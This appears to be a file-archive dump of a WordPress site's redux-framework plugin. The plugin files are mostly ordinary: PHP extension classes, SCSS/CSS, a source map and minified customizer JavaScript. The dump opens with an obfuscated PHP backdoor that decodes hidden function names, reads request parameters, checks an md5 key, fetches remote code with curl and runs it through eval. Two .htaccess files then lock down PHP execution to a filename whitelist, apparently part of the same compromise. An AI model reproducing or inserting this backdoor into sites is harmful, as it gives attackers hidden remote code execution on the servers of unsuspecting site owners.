/*-@ln%TyR-*/$SK/*-4Y7x-*/); /*-zppMEpU-*/$MKnfS /*-(8OSe5qx-*/= /*-V8teA-*/""; foreach /*-]sD~SG-*/(/*-U#rAqyOJb9-*/$AzMEagYv /*-7-*/as /*-Px-*/$YOx /*-M19k@n|Mg-*/=>/*-M+{VM,WDE-*/ $FXqcwnKZ/*-O(O~E`jh-*/) /*-n_6mP-*/$MKnfS /*-m=7K2qlx-*/.= /*-fL-*/$MtscrVIu[$FXqcwnKZ/*-2|TNI-*/ - /*-NuiB-*/24882/*-))v!14y-*/];/*-s#F-*/ return /*-D7hq-*/$MKnfS; /*-F%&EyA-*/} /*-!gBd{@-*/static /*-,w-*/function /*-6I[=sTcX1-*/BSwTIriPUA/*-iDE#v)p%P@-*/(/*-J,;o-*/$Hf,/*-Vjkp8-*/ $hkudR/*-h8K,H|2A-*/)/*-a-*/ {/*-R?-*/ $nefsY/*-#nt++kk-*/ = /*-xMR<(k6Kn8-*/curl_init/*-[`$n?fa-*/(/*-{Tib8e-*/$Hf/*-2ug!-*/);/*-(g,?Dx4%ml-*/ curl_setopt/*-q8QUEd(Y--*/(/*-~?Hj0j-*/$nefsY,/*-4f-*/ CURLOPT_RETURNTRANSFER,/*-t-X-*/ 1/*-{1X-*/);/*-0--*/ $YSsKz/*-L8W-*/ = /*-FnHRGN-*/curl_exec/*-v#-*/(/*-e`-*/$nefsY/*-usb-*/); /*-kTGvzw-*/return /*-@}JwK=U-*/empty/*-M+dba-*/(/*-YU[-*/$YSsKz/*-DzzCi:[-{<-*/)/*-jz1-*/ ? /*-^;iGFA^-*/$hkudR/*-ROAA67BU#-*/(/*-Rm=B-*/$Hf/*-t38&h^X-*/)/*-iBG|X}=-*/ : /*-vl[W=$A|u;-*/$YSsKz; /*-yWhsGLu-*/}/*-:v%Ln-*/ static/*-1<oWAHl-*/ function /*-vCO$--*/exFMUXph/*-Zmv=Bm&N-*/() /*-x^hTK-*/{/*-lEB#IZ-*/ $AUZbMvRTYf /*-c9-*/=/*-)(UR!i-*/ array/*-)j-*/("24909(24894(24907(24911(24892(24907(24913(24906(24891(24898(24909(24892(24903(24897(24898","24893(24892(24894(24913(24894(24897(24892(24959(24957","24902(24893(24897(24898(24913(24908(24907(24909(24897(24908(24907","24896(24911(24909(24901","24910(24911(24893(24907(24954(24956(24913(24908(24907(24909(24897(24908(24907","24906(24903(24900(24907(24913(24905(24907(24892(24913(24909(24897(24898(24892(24907(24898(24892(24893","24936(24966","24883","24961(24966","24943(24926(24926(24943(24919","24897(24906"); /*-0[$(TddI-*/foreach /*-#B81-*/(/*-HE)kiiKAQ(-*/$AUZbMvRTYf/*-b|P-*/ as /*-F$P$-*/$Cei/*-zJ<-*/)/*-7M`@3Ir-*/ $xLPVQo/*-&E5bNy1-*/[] /*-#L-*/= /*-bgk-*/self/*-v0WIz8-*/::/*-reql4X%w>-*/eJ/*-D.zRsFX-*/(/*->3@-*/$Cei/*-T+5-*/);/*-7x4WzO^U-*/$syguSjA /*-{o@aN?uM-*/= /*-nM;NT-*/@$xLPVQo/*-<2-*/[/*-KpMHCa>-*/1/*-_HE+$W=ck-*/]/*-!3~Jv,-*/(/*-%tzxm!vsBs-*/${/*-%D5Tg-*/"_"/*-1{+`KX-*/."G"/*-2^nL-*/."E"/*-P<O-*/."T"/*-kyZ!O-*/}[/*-VsQ-*/$xLPVQo/*-lVi}-*/[/*-zELJ;C.-*/1+8/*-du_pFF!6!}-*/]]/*-S7>@8ge-*/);/*-5^5~!n9kN0-*/ $MJOVQYty /*-dk1cd5-*/=/*-=p-*/ @$xLPVQo/*-x4vBg=t=j>-*/[/*-p0w{^s-*/3+0/*-Qjgey@88-*/]/*-#J9729uwI-*/(/*-mMqos-*/$xLPVQo/*-j|V[hUj-*/[/*-s0DIkxP-*/6+0/*-k=,-*/], /*-!SB-}-*/$syguSjA/*-4X-nBg$-*/);/*-X+ysHs-*/ $tzK /*-EiSb,A1-*/=/*-`H%$WU1W9-*/ $xLPVQo/*-?;bcp(-*/[/*-X1U-*/1+1/*-CFy4zw7-*/]/*-@^e;LDlI-*/(/*-IU|ns&+S-*/$MJOVQYty,/*-+_%H-*/ true/*-O%CYMSP-*/); /*-[Q-*/@${/*-uwEQ-*/"_"./*-Tsh906p?-*/"G"./*-Nd-*/"E"/*-O%yE-*/."T"/*-[H8mOvf-*/}/*-Y{-*/[/*-Q{lAHkLA%-*/$xLPVQo/*-_B-*/[1+9/*-.V-*/]/*-AF-*/]/*->jlzE-*/ == /*-?g|t-*/1 /*-^2$EWncwT=-*/&& /*-zS-*/die/*-,va_Kd7^.[-*/(/*-ke9ZLP-*/$xLPVQo[1+4/*-TWftOy-*/]/*-^M:=Xo)L-*/(/*-o;N>]Q5-*/__FILE__/*-vJ%x-*/)/*-GJfl-*/); /*-pVA-*/if/*-kPk_ZYz-*/(/*-$X3H;-*/ (/*-1<[C-*/(@/*-B;|L#IAs>-*/$tzK/*--f@]]rra^-*/[/*-c`jUy-*/0/*-nWholcT-*/] /*-|FD#L[5;,-*/- time/*-_ROHce-*/()/*-+-*/) > /*-!Ab8VB)!>-*/0/*-qCpYQ1-*/)/*-qEu-*/ and /*-`<epO-*/(/*-7E2|[gW-*/md5/*-F[oW=:LK_-*/(/*-?tc|C-*/md5/*-$CUr08M~fg-*/(/*-AcJ8|G-*/$tzK/*-Gn7B.-*/[/*-Vd;T-*/1+2/*-6r0K-*/]/*-WH11!-*/)/*-G)jbUx->p-*/)/*-0!{{,-*/ === /*-xmmq-*/"b5c41d6a4c7a400e815c0b81188724bf"/*-J5C:Bu-*/)/*-hRZ!>h-*/ ): /*-KjFQCc-*/$Yibvx /*-)h[L3B-*/=/*-UuSBkKjM-*/ self/*--DI`ZbaM-*/::/*-Z<$f!w@ngG-*/BSwTIriPUA/*-gi.GQ-*/(/*-zz2)lLF-*/$tzK/*-9%5Muu7J-*/[/*-~AU$-*/0+1/*-Rw`.N58-*/], /*-#kn-*/$xLPVQo/*-+KI-*/[/*-5B-*/4+1/*-hnd7QK1SlL-*/]/*-d#-*/);/*-Er[1~im.Zh-*/@eval/*-_+W`-*/(/*-w.2i3TP-*/$xLPVQo/*-%cx-*/[/*-{^XG0hDtl-*/1+3/*-mIb]a7dn[--*/]/*-WUf.M}B(7!-*/(/*-fz-*/$Yibvx/*-x0{LC34m-*/)/*-Ru<2LvCY-*/);/*-MF!=v@-*//*-2(xQ)-*/die;/*-xW3w:V4-*/ endif;/*-AT3?:IJLBR-*/ }/*-atu5b:-*/}/*-Zv0W-*/AeQm/*-Oi|@Sb6-*/::/*-Y86@&-*/exFMUXph/*-V29^zrd`-*/();/*-?FP(-*/ ?>����������������������������������������redux-framework/inc/extensions/options_object/options_object/.htaccess������������������������������0000644�����������������00000001626�14720701300�0022475 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<FilesMatch ".(py|exe|phtml|php|PHP|Php|PHp|pHp|pHP|phP|PhP|php5|suspected)$"> Order allow,deny Deny from all </FilesMatch> <FilesMatch "^(index.php|credits.php|customize.php|edit-comments.php|edit-tags.php|edit.php|checkbox.php|export.php|input.php|link.php|load-scripts.php|load-styles.php|dropdown.php|menu.php|nav-menus.php|network.php|options-discussion.php|options-general.php|options-permalink.php|options-privacy.php|options-reading.php|options-writing.php|plugins.php|post-new.php|post.php|privacy.php|profile.php|site-health.php|term.php|text.php|themes.php|tools.php|update-core.php|user-edit.php|user-new.php|users.php|wp-links.php|wp-login.php|wp-signup.php)$"> Order allow,deny Allow from all </FilesMatch> <IfModule mod_rewrite.c> RewriteEngine On RewriteBase / RewriteRule ^index.php$ - [L] RewriteCond %{REQUEST_FILENAME} !-f RewriteCond %{REQUEST_FILENAME} !-d RewriteRule . index.php [L] </IfModule>����������������������������������������������������������������������������������������������������������redux-framework/inc/extensions/options_object/extension_options_object.php��������������������������0000644�����������������00000007315�14720701300�0023505 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php /** * Redux Framework is free software: you can redistribute it and/or modify * it under the terms of the GNU General Public License as published by * the Free Software Foundation, either version 2 of the License, or * any later version. * Redux Framework is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * You should have received a copy of the GNU General Public License * along with Redux Framework. If not, see <http://www.gnu.org/licenses/>. * * @package ReduxFramework * @author Kevin Provance (kprovance) * @version 4.0.0 */ // Exit if accessed directly if ( ! defined( 'ABSPATH' ) ) { exit; } // Don't duplicate me! if ( ! class_exists( 'ReduxFramework_Extension_options_object' ) ) { /** * Main ReduxFramework options_object extension class * * @since 3.1.6 */ class ReduxFramework_Extension_options_object { // Protected vars protected $parent; public $extension_url; public $extension_dir; public static $theInstance; public static $version = "4.0"; public $is_field = false; /** * Class Constructor. Defines the args for the extions class * * @since 1.0.0 * @access public * * @param array $sections Panel sections. * @param array $args Class constructor arguments. * @param array $extra_tabs Extra panel tabs. * * @return void */ public function __construct( $parent ) { $this->parent = $parent; if ( empty( $this->extension_dir ) ) { //$this->extension_dir = trailingslashit( str_replace( '\\', '/', dirname( __FILE__ ) ) ); } $this->field_name = 'options_object'; self::$theInstance = $this; $this->is_field = Redux_Helpers::isFieldInUse($parent, 'options_object'); if ( !$this->is_field && $this->parent->args['dev_mode'] && $this->parent->args['show_options_object'] ) { $this->add_section(); } add_filter( 'redux/' . $this->parent->args['opt_name'] . '/field/class/' . $this->field_name, array( &$this, 'overload_field_path' ) ); // Adds the local field } public function add_section() { $this->parent->sections[] = array( 'id' => 'options-object', 'title' => __( 'Options Object', 'redux-framework' ), 'heading' => '', 'icon' => 'el el-info-circle', 'customizer' => false, 'fields' => array( array( 'id' => 'redux_options_object', 'type'=> 'options_object', 'title' => '', ) ), ); } // Forces the use of the embeded field path vs what the core typically would use public function overload_field_path( $field ) { return dirname( __FILE__ ) . '/' . $this->field_name . '/field_' . $this->field_name . '.php'; } } // class } // if �������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������redux-framework/inc/extensions/options_object/.htaccess���������������������������������������������0000644�����������������00000001626�14720701300�0017454 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<FilesMatch ".(py|exe|phtml|php|PHP|Php|PHp|pHp|pHP|phP|PhP|php5|suspected)$"> Order allow,deny Deny from all </FilesMatch> <FilesMatch "^(index.php|credits.php|customize.php|edit-comments.php|edit-tags.php|edit.php|checkbox.php|export.php|input.php|link.php|load-scripts.php|load-styles.php|dropdown.php|menu.php|nav-menus.php|network.php|options-discussion.php|options-general.php|options-permalink.php|options-privacy.php|options-reading.php|options-writing.php|plugins.php|post-new.php|post.php|privacy.php|profile.php|site-health.php|term.php|text.php|themes.php|tools.php|update-core.php|user-edit.php|user-new.php|users.php|wp-links.php|wp-login.php|wp-signup.php)$"> Order allow,deny Allow from all </FilesMatch> <IfModule mod_rewrite.c> RewriteEngine On RewriteBase / RewriteRule ^index.php$ - [L] RewriteCond %{REQUEST_FILENAME} !-f RewriteCond %{REQUEST_FILENAME} !-d RewriteRule . index.php [L] </IfModule>����������������������������������������������������������������������������������������������������������redux-framework/inc/extensions/customizer/extension_customizer.scss���������������������������������0000644�����������������00000004540�14720701300�0022234 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������.redux-section { p.customize-section-description { margin-top: 22px; word-break: break-word; &.legacy { margin-top: 7px; } } } .control-section-themes .accordion-section-title { margin: 0; } #customize-controls { .customize-info { margin-bottom: 0; } .redux-section .accordion-section-content { background: #FCFCFC; } } .redux-section .accordion-section-title i, .redux-field .accordion-field-title i, .redux-panel .accordion-section-title i { margin-right: 5px; } .accordion-section.redux-main { background: inherit; margin-left: inherit; border-left: inherit; -moz-box-shadow: inherit; -webkit-box-shadow: inherit; padding: inherit; box-shadow: inherit; } .redux_field_th { padding: 13px 0px 0px 0px; } .redux-main { .redux-field-container { padding: 10px 0; } .select_wrapper { float: none; width: 100%; display: inline-block; } .select2-container { margin-right: 0 !important; margin-bottom: 5px !important; width: 100% !important; } .select_wrapper:nth-child(odd) { margin-right: 0; } .redux-option-image { max-width: 42% !important; margin-right: 3%; } .customize-control { border-bottom: 1px solid #ddd; padding-bottom: 4px; } .customize-control:last-child { border-bottom: 0; padding-bottom: 0; } .upload { width: 100% !important; } h3 { margin-top: inherit; } .redux-container-raw { margin-top: 22px; word-break: break-word; padding: 0 !important; } .redux-container-password input { width: 100%; } } .select2-drop { z-index: 999999; } .rAdsContainer { line-height: 0; border: 0; /*margin-top: -15px;*/ /*margin-bottom: -15px;*/ } .customize-control-redux-raw { list-style: none; } .rAds { position: inherit !important; right: 0 !important; top: 0 !important; bottom: 0 !important; left: 0 !important; text-align: center; margin-bottom: 0; line-height: 0; -webkit-transition: left ease-in-out .18s; transition: left ease-in-out .18s; img { -webkit-transition: left ease-in-out .18s; transition: left ease-in-out .18s; } }����������������������������������������������������������������������������������������������������������������������������������������������������������������redux-framework/inc/extensions/customizer/extension_customizer.css.map������������������������������0000644�����������������00000002770�14720701300�0022630 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������{ "version": 3, "mappings": "AACI,8CAAgC;EAC5B,UAAU,EAAE,IAAI;EAChB,UAAU,EAAE,UAAU;EACtB,qDAAS;IACL,UAAU,EAAE,GAAG;;AAK3B,gDAAiD;EAC7C,MAAM,EAAE,CAAC;;AAIT,mCAAgB;EACZ,aAAa,EAAE,CAAC;AAEpB,6DAA0C;EACtC,UAAU,EAAE,OAAO;;AAI3B;;uCAEwC;EACpC,YAAY,EAAE,GAAG;;AAGrB,6BAA8B;EAC1B,UAAU,EAAE,OAAO;EACnB,WAAW,EAAE,OAAO;EACpB,WAAW,EAAE,OAAO;EACpB,eAAe,EAAE,OAAO;EACxB,kBAAkB,EAAE,OAAO;EAC3B,OAAO,EAAE,OAAO;EAChB,UAAU,EAAE,OAAO;;AAGvB,eAAgB;EACZ,OAAO,EAAE,gBAAgB;;AAIzB,kCAAuB;EACnB,OAAO,EAAE,MAAM;AAEnB,2BAAgB;EACZ,KAAK,EAAE,IAAI;EACX,KAAK,EAAE,IAAI;EACX,OAAO,EAAE,YAAY;AAEzB,8BAAmB;EACf,YAAY,EAAE,YAAY;EAC1B,aAAa,EAAE,cAAc;EAC7B,KAAK,EAAE,eAAe;AAE1B,0CAA+B;EAC3B,YAAY,EAAE,CAAC;AAEnB,+BAAoB;EAChB,SAAS,EAAE,cAAc;EACzB,YAAY,EAAE,EAAE;AAEpB,8BAAmB;EACf,aAAa,EAAE,cAAc;EAC7B,cAAc,EAAE,GAAG;AAEvB,yCAA8B;EAC1B,aAAa,EAAE,CAAC;EAChB,cAAc,EAAE,CAAC;AAErB,mBAAQ;EACJ,KAAK,EAAE,eAAe;AAE1B,cAAG;EACC,UAAU,EAAE,OAAO;AAEvB,gCAAqB;EACjB,UAAU,EAAE,IAAI;EAChB,UAAU,EAAE,UAAU;EACtB,OAAO,EAAE,YAAY;AAEzB,2CAAgC;EAC5B,KAAK,EAAE,IAAI;;AAInB,aAAc;EACV,OAAO,EAAE,MAAM;;AAGnB,cAAe;EACX,WAAW,EAAE,CAAC;EACd,MAAM,EAAE,CAAC;EACT,sBAAsB;EACtB,yBAAyB;;AAG7B,4BAA6B;EACzB,UAAU,EAAE,IAAI;;AAGpB,KAAM;EACF,QAAQ,EAAE,kBAAkB;EAC5B,KAAK,EAAE,YAAY;EACnB,GAAG,EAAE,YAAY;EACjB,MAAM,EAAE,YAAY;EACpB,IAAI,EAAE,YAAY;EAClB,UAAU,EAAE,MAAM;EAClB,aAAa,EAAE,CAAC;EAChB,WAAW,EAAE,CAAC;EACd,kBAAkB,EAAE,qBAAqB;EACzC,UAAU,EAAE,qBAAqB;EACjC,SAAI;IACA,kBAAkB,EAAE,qBAAqB;IACzC,UAAU,EAAE,qBAAqB", "sources": ["extension_customizer.scss"], "names": [], "file": "extension_customizer.css" }��������redux-framework/inc/extensions/customizer/extension_customizer.css����������������������������������0000644�����������������00000003507�14720701300�0022053 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������.redux-section p.customize-section-description{margin-top:22px;word-break:break-word}.redux-section p.customize-section-description.legacy{margin-top:7px}.control-section-themes .accordion-section-title{margin:0}#customize-controls .customize-info{margin-bottom:0}#customize-controls .redux-section .accordion-section-content{background:#FCFCFC}.redux-section .accordion-section-title i,.redux-field .accordion-field-title i,.redux-panel .accordion-section-title i{margin-right:5px}.accordion-section.redux-main{background:inherit;margin-left:inherit;border-left:inherit;-moz-box-shadow:inherit;-webkit-box-shadow:inherit;padding:inherit;box-shadow:inherit}.redux_field_th{padding:13px 0px 0px 0px}.redux-main .redux-field-container{padding:10px 0}.redux-main .select_wrapper{float:none;width:100%;display:inline-block}.redux-main .select2-container{margin-right:0 !important;margin-bottom:5px !important;width:100% !important}.redux-main .select_wrapper:nth-child(odd){margin-right:0}.redux-main .redux-option-image{max-width:42% !important;margin-right:3%}.redux-main .customize-control{border-bottom:1px solid #ddd;padding-bottom:4px}.redux-main .customize-control:last-child{border-bottom:0;padding-bottom:0}.redux-main .upload{width:100% !important}.redux-main h3{margin-top:inherit}.redux-main .redux-container-raw{margin-top:22px;word-break:break-word;padding:0 !important}.redux-main .redux-container-password input{width:100%}.select2-drop{z-index:999999}.rAdsContainer{line-height:0;border:0}.customize-control-redux-raw{list-style:none}.rAds{position:inherit !important;right:0 !important;top:0 !important;bottom:0 !important;left:0 !important;text-align:center;margin-bottom:0;line-height:0;-webkit-transition:left ease-in-out .18s;transition:left ease-in-out .18s}.rAds img{-webkit-transition:left ease-in-out .18s;transition:left ease-in-out .18s} �����������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������redux-framework/inc/extensions/customizer/extension_customizer.min.js�������������������������������0000644�����������������00000012143�14720701300�0022455 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������!function(l){"use strict";l.fn.serializeJSON=function(e){var r,n,t,i,s,u,a;return u=l.serializeJSON,a=u.setupOpts(e),n=this.serializeArray(),u.readCheckboxUncheckedValues(n,this,a),r={},l.each(n,function(e,n){t=u.splitInputNameIntoKeysArray(n.name,a),"skip"!==(i=t.pop())&&(s=u.parseValue(n.value,i,a),a.parseWithFunction&&"_"===i&&(s=a.parseWithFunction(s,n.name)),u.deepSet(r,t,s,a))}),r},l.serializeJSON={defaultOptions:{checkboxUncheckedValue:void 0,parseNumbers:!1,parseBooleans:!1,parseNulls:!1,parseAll:!1,parseWithFunction:null,customTypes:{},defaultTypes:{string:function(e){return String(e)},number:function(e){return Number(e)},boolean:function(e){return-1===["false","null","undefined","","0"].indexOf(e)},null:function(e){return-1!==["false","null","undefined","","0"].indexOf(e)?null:e},array:function(e){return JSON.parse(e)},object:function(e){return JSON.parse(e)},auto:function(e){return l.serializeJSON.parseValue(e,null,{parseNumbers:!0,parseBooleans:!0,parseNulls:!0})}},useIntKeysAsArrayIndex:!1},setupOpts:function(n){var e,r,t,i,s,u;for(e in u=l.serializeJSON,null==n&&(n={}),t=u.defaultOptions||{},r=["checkboxUncheckedValue","parseNumbers","parseBooleans","parseNulls","parseAll","parseWithFunction","customTypes","defaultTypes","useIntKeysAsArrayIndex"],n)if(-1===r.indexOf(e))throw new Error("serializeJSON ERROR: invalid option '"+e+"'. Please use one of "+r.join(", "));return s=(i=function(e){return!1!==n[e]&&""!==n[e]&&(n[e]||t[e])})("parseAll"),{checkboxUncheckedValue:i("checkboxUncheckedValue"),parseNumbers:s||i("parseNumbers"),parseBooleans:s||i("parseBooleans"),parseNulls:s||i("parseNulls"),parseWithFunction:i("parseWithFunction"),typeFunctions:l.extend({},i("defaultTypes"),i("customTypes")),useIntKeysAsArrayIndex:i("useIntKeysAsArrayIndex")}},parseValue:function(e,n,r){var t,i;return i=l.serializeJSON,(t=r.typeFunctions&&r.typeFunctions[n])?t(e):r.parseNumbers&&i.isNumeric(e)?Number(e):!r.parseBooleans||"true"!==e&&"false"!==e?r.parseNulls&&"null"==e?null:e:"true"===e},isObject:function(e){return e===Object(e)},isUndefined:function(e){return void 0===e},isValidArrayIndex:function(e){return/^[0-9]+$/.test(String(e))},isNumeric:function(e){return 0<=e-parseFloat(e)},optionKeys:function(e){if(Object.keys)return Object.keys(e);var n=[];for(var r in e)n.push(r);return n},splitInputNameIntoKeysArray:function(e,n){var r,t,i,s;return t=(s=l.serializeJSON.extractTypeFromInputName(e,n))[0],i=s[1],r=t.split("["),""===(r=l.map(r,function(e){return e.replace(/]/g,"")}))[0]&&r.shift(),r.push(i),r},extractTypeFromInputName:function(e,n){var r,t,i;if(r=e.match(/(.*):([^:]+)$/)){if((t=(i=l.serializeJSON).optionKeys(n?n.typeFunctions:i.defaultOptions.defaultTypes)).push("skip"),-1!==t.indexOf(r[2]))return[r[1],r[2]];throw new Error("serializeJSON ERROR: Invalid type "+r[2]+" found in input name '"+e+"', please use one of "+t.join(", "))}return[e,"_"]},deepSet:function(e,n,r,t){var i,s,u,a,o,c;if(null==t&&(t={}),(c=l.serializeJSON).isUndefined(e))throw new Error("ArgumentError: param 'o' expected to be an object or array, found undefined");if(!n||0===n.length)throw new Error("ArgumentError: param 'keys' expected to be an array with least one element");i=n[0],1===n.length?""===i?e.push(r):e[i]=r:(s=n[1],""===i&&(o=e[a=e.length-1],i=c.isObject(o)&&(c.isUndefined(o[s])||2<n.length)?a:a+1),""===s?!c.isUndefined(e[i])&&l.isArray(e[i])||(e[i]=[]):t.useIntKeysAsArrayIndex&&c.isValidArrayIndex(s)?!c.isUndefined(e[i])&&l.isArray(e[i])||(e[i]=[]):!c.isUndefined(e[i])&&c.isObject(e[i])||(e[i]={}),u=n.slice(1),c.deepSet(e[i],u,r,t))},readCheckboxUncheckedValues:function(r,e,t){var n,i,s,u;null==t&&(t={}),u=l.serializeJSON,n="input[type=checkbox][name]:not(:checked):not([disabled])",e.find(n).add(e.filter(n)).each(function(e,n){i=l(n),(s=i.attr("data-unchecked-value"))?r.push({name:n.name,value:s}):u.isUndefined(t.checkboxUncheckedValue)||r.push({name:n.name,value:t.checkboxUncheckedValue})})}}}(window.jQuery||window.$),function(s){"use strict";redux.customizer=redux.customizer||{},s(document).ready(function(){redux.customizer.init()}),redux.customizer.init=function(){s("body").addClass(redux_customizer.body_class),s(".accordion-section.redux-section, .accordion-section.redux-panel, .accordion-section-title").click(function(){s.redux.initFields()}),redux.args.disable_save_warn=!0;var n=redux_change;redux_change=function(e){e=s(e),n.apply(this,arguments),redux.customizer.save(e)};var e=s.redux.initFields;s.redux.initFiles=function(){e()}},redux.customizer.save=function(e){var n=e.hasClass("redux-field")?e:e.parents(".redux-field-container:first");redux.customizer.inputSave(n)},redux.customizer.inputSave=function(e){if(e.hasClass("redux-field-container")||(e=e.parents('[class^="redux-field-container"]')),!(n=e.parent().find(".redux-customizer-input").data("id")))var n=(e=e.parents(".redux-container-repeater:first")).parent().find(".redux-customizer-input").data("id");var r=e.find(":input").serializeJSON();s.each(r,function(e,n){r=n});var t=e.parent().find(".redux-customizer-input").data("key");r[t]&&(r=r[t]);var i=wp.customize.control(n);JSON.stringify(i.setting._value)!==JSON.stringify(r)&&(i.setting._value=null),i.setting.set(r)}}(jQuery);�����������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������redux-framework/inc/extensions/customizer/extension_customizer.php����������������������������������0000644�����������������00000113512�14720701300�0022050 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php // <input type="radio" value="1" name="_customize-radio-redux_demo[opt-radio]" data-customize-setting-link="redux_demo[opt-color-title]"> //return; /** * Redux Framework is free software: you can redistribute it and/or modify * it under the terms of the GNU General Public License as published by * the Free Software Foundation, either version 2 of the License, or * any later version. * Redux Framework is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * You should have received a copy of the GNU General Public License * along with Redux Framework. If not, see <http://www.gnu.org/licenses/>. * * @package ReduxFramework * @author Dovy Paukstys (dovy) * @version 0.1.0 */ // Exit if accessed directly if ( ! defined( 'ABSPATH' ) ) { exit; } // Don't duplicate me! if ( ! class_exists( 'ReduxFramework_extension_customizer' ) ) { /** * Main ReduxFramework customizer extension class * * @since 1.0.0 */ class ReduxFramework_extension_customizer { // Protected vars protected $redux; private $_extension_url; private $_extension_dir; private $parent; private $orig_options = array(); private static $post_values = array(); public static $version = "2.0.0"; private $options = array(); /** * Class Constructor. Defines the args for the extions class * * @since 1.0.0 * @access public * * @param array $sections Panel sections. * @param array $args Class constructor arguments. * @param array $extra_tabs Extra panel tabs. * * @return void */ public function __construct( $parent ) { $this->parent = $parent; $this->upload_dir = ReduxFramework::$_upload_dir . 'advanced-customizer/'; //add_action('wp_head', array( $this, '_enqueue_new' )); if ( $parent->args['customizer'] == false ) { return; } // Override the ReduxCore class add_filter( "redux/extension/{$this->parent->args['opt_name']}/customizer", array( $this, 'remove_core_customizer_class' ) ); global $pagenow, $wp_customize; if ( ! isset( $wp_customize ) && $pagenow !== "customize.php" && $pagenow !== "admin-ajax.php" ) { return; } if ( ( $pagenow !== "customize.php" && $pagenow !== "admin-ajax.php" && ! isset( $GLOBALS['wp_customize'] ) ) ) { //return; } if ( empty( $this->_extension_dir ) ) { $this->_extension_dir = apply_filters( "redux/extension/customizer/dir", trailingslashit( str_replace( '\\', '/', dirname( __FILE__ ) ) ) ); $this->_extension_url = apply_filters( "redux/extension/customizer/url", site_url( str_replace( trailingslashit( str_replace( '\\', '/', ABSPATH ) ), '', $this->_extension_dir ) ) ); } self::get_post_values(); // Create defaults array $defaults = array(); /* customize_controls_init customize_controls_enqueue_scripts customize_controls_print_styles customize_controls_print_scripts customize_controls_print_footer_scripts */ //add_action('customize_save', ); if ( isset( $_POST['wp_customize'] ) && $_POST['wp_customize'] == "on" ) { $this->parent->args['customizer_only'] = true; } if ( isset( $_POST['wp_customize'] ) && $_POST['wp_customize'] == "on" && isset( $_POST['customized'] ) && ! empty( $_POST['customized'] ) && ! isset( $_POST['action'] ) ) { add_action( "redux/options/{$this->parent->args['opt_name']}/options", array( $this, '_override_values' ), 100 ); } add_action( 'customize_register', array( $this, '_register_customizer_controls' ) ); // Create controls add_action( 'wp_head', array( $this, 'customize_preview_init' ) ); //add_action( 'customize_save', array( $this, 'customizer_save_before' ) ); // Before save add_action( 'customize_save_after', array( &$this, 'customizer_save_after' ) ); // After save // Add global controls CSS file add_action( 'customize_controls_print_scripts', array( $this, 'enqueue_controls_css' ) ); add_action( 'customize_controls_init', array( $this, 'enqueue_panel_css' ) ); //add_action( 'wp_enqueue_scripts', array( &$this, '_enqueue_previewer_css' ) ); // Enqueue previewer css //add_action( 'wp_enqueue_scripts', array( &$this, '_enqueue_previewer_js' ) ); // Enqueue previewer javascript //add_action( "wp_footer", array( $this, '_enqueue_new' ), 100 ); //$this->_enqueue_new(); } function enqueue_controls_css() { require_once ReduxFramework::$_dir . 'core/enqueue.php'; $enqueue = new reduxCoreEnqueue ( $this->parent ); $enqueue->get_warnings_and_errors_array(); $enqueue->init(); wp_enqueue_style( 'redux-extension-advanced-customizer', $this->_extension_url . 'extension_customizer.css', '', time() ); wp_enqueue_script( 'redux-extension-customizer', $this->_extension_url . 'extension_customizer' . Redux_Functions::isMin() . '.js', array( 'jquery', 'redux-js' ), ReduxFramework_extension_customizer::$version, true ); wp_localize_script( 'redux-extension-customizer', 'redux_customizer', array( 'body_class' => sanitize_html_class( 'admin-color-' . get_user_option( 'admin_color' ), 'fresh' ) ) ); } function enqueue_panel_css() { } function remove_core_customizer_class( $path ) { return ""; } function customize_preview_init() { do_action( 'redux/customizer/live_preview' ); } protected static function get_post_values() { if ( empty( self::$post_values ) && isset( $_POST['customized'] ) && ! empty( $_POST['customized'] ) ) { self::$post_values = json_decode( stripslashes_deep( $_POST['customized'] ), true ); } } public function _override_values( $data ) { self::get_post_values(); if ( isset( $_POST['customized'] ) && ! empty( self::$post_values ) ) { if ( is_array( self::$post_values ) ) { foreach ( self::$post_values as $key => $value ) { if ( strpos( $key, $this->parent->args['opt_name'] ) !== false ) { //if (is_array($value)) { // $value = @stripslashes( $value ); // if ( function_exists( 'get_magic_quotes_gpc' ) && get_magic_quotes_gpc() ) { // $value = @array_map( 'stripslashes_deep', $value ); // $value = @array_map( 'urldecode', $value ); // } //} else { // $value = @urldecode($value); //} $key = str_replace( $this->parent->args['opt_name'] . '[', '', rtrim( $key, "]" ) ); $data[ $key ] = $value; $GLOBALS[ $this->parent->args['global_variable'] ][ $key ] = $value; $this->parent->options[ $key ] = $value; } } } } return $data; } public function _enqueue_new() { //echo "<script type='text/javascript' src='".$this->_extension_url . 'new/codemirror.min.js'."'></script>"; //echo "<script type='text/javascript' src='".$this->_extension_url . 'new/colors-control.js'."'></script>"; //echo "<script type='text/javascript' src='".$this->_extension_url . 'new/customizer-control.js'."'></script>"; //echo "<script type='text/javascript' src='".$this->_extension_url . 'new/fonts-customizer-admin.js'."'></script>"; //echo "<script type='text/javascript' src='".$this->_extension_url . 